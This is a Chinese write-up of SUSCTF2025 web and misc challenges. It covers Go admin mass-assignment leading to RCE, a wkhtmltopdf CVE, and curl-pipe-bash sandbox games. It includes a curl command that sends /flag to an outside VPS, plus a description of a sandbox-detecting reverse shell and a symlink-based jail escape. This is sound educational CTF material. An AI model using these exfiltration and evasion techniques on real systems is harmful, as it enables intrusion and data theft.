虎踞龙蟠杯SUSCTF2025-WP
Web
am i admin?
下载附件得到源码:
1 | // main.go |
1 | // handlers.go |
1 | // auth.go |
1 | // utils.go |
按照预期逻辑,我们需要知道admin的密码,登录admin账号才可以使得IsAdmin
为true
,但是admin的账户密码是随机生成的,这这意味着,如果我们要爆破,则至多需要64**16
次尝试,不太现实,正常登录的路径不太行。
但是可以注意到注册逻辑,是直接获取用户发送的json数据,虽然IsAdmin
字段没有 JSON 标签,但 Go 默认会序列化导出字段,这意味着我们在注册时可以手动指定IsAdmin
为true
,并且后续没有其他逻辑会使得它变为false
。
最后借助/run
直接rce即可,以下EXP:
1 | import requests |
am i admin?2
相比上一题,waf了一下IsAdmin
:
1 | package main |
换小写就行:
1 | import requests |
easyprint
附件给到题目源码:
1 | from flask import Flask, request, render_template, send_file |
很明显,漏洞点应该在于pdfkit
或者wkhtmltopdf
找到个CVE-2025-26240
拿payload直接打即可:
1 | import requests |
Misc
Questionnaire
问卷题,正常答完题抽个奖就行:
curlbash
下载附件得到源码:
1 | import subprocess |
先获取shell脚本,然后在沙箱环境下执行n次,如果n次都正常执行,那么就在非沙箱环境下执行一次,同时所有的执行结果无回显。
这边一个非预期就是直接利用vps外带回显:
1 | curl -fsSL http://x.x.x.x:xxxx/`cat /flag` | bash -re |
手动补一下缺少的{
和}
即可
curlbash-revenge
修复了curlbash
的非预期解。附件同curlbash,仅更新了远程题目环境。
这里一开始我发现,正常执行结果返回0,而如果命令不存在,就会返回127,借此以达到布尔盲注得到回显的目的,一开始的盲注脚本:
1 | from pwn import * |
但是后面发现效率太低,而且拿到的是沙箱的flag:susctf{fake_flag}
正解应该是识别沙箱环境,如果是沙箱就正常执行,如果不是沙箱再执行恶意代码,我这里选择利用python直接反弹shell:
1 | !/bin/bash |
easyjail
下载附件得到源码:
1 | import subprocess |
1 | // override.c |
沙箱绕过类题目,禁了外联,禁止在/tmp
、/app
,/dev/shm
下进行文件更新,禁止读取带有flag
的文件。
先找一下有没有可以写入文件的其他文件夹:
1 | find / -type d -perm -o+w |
可以利用/var/tmp
目录,配合软链接读取flag:
1 | ln -s /flag /var/tmp/f |
eat-mian
需要用nc连接,需要我们输入一个http请求体,然后回显一个http响应体。
显然应该是存在ssrf问题,先尝试访问一下它本地的http服务。
这里为了方便操作,我选择利用socat进行一个代理:
1 | socat TCP-LISTEN:8080,fork,reuseaddr TCP:106.14.191.23:53776 |
访问:
1 | curl -X GET http://127.0.0.1:8080/ |
得到结果:
1 |
|
这是一个判题系统,需要我们完成指定任务,再获取一下task.md
和task.c
文件
1 | curl -X GET http://127.0.0.1:8080/static/task.md |
得到:
1 | # eat-mian |
和
1 | // write your code here |
显然,如果我们不做任何操作(即不插入任何代码),原代码肯定无法正常运行,对此有三个部分需要修正:
int
被替换为eat
这个很好解决,定义个宏即可:
1
printf
被替换为preatf
我们自己定义一个
preatf
函数实现原printf
的功能即可,这里我选择使用puts
代替。1
2
3void preatf(const char *fmt, long n){
puts("I eat 666 cups of mian! wwwww");
}main
被替换为mian
可利用gcc的内联汇编语句,把
mian
设为main
的别名,然后用引号拼接绕过关键词检测,即:1
__asm__(".globl mai""n\n.set mai""n,mian");
那么完整需要插入的语句就是:
1 |
|
使用curl发送:
1 | curl -X POST http://127.0.0.1:8080/submit \ |
signin
下载下来是一个.ai
文件,用Adobe Illustrator
打开,可以看到flag: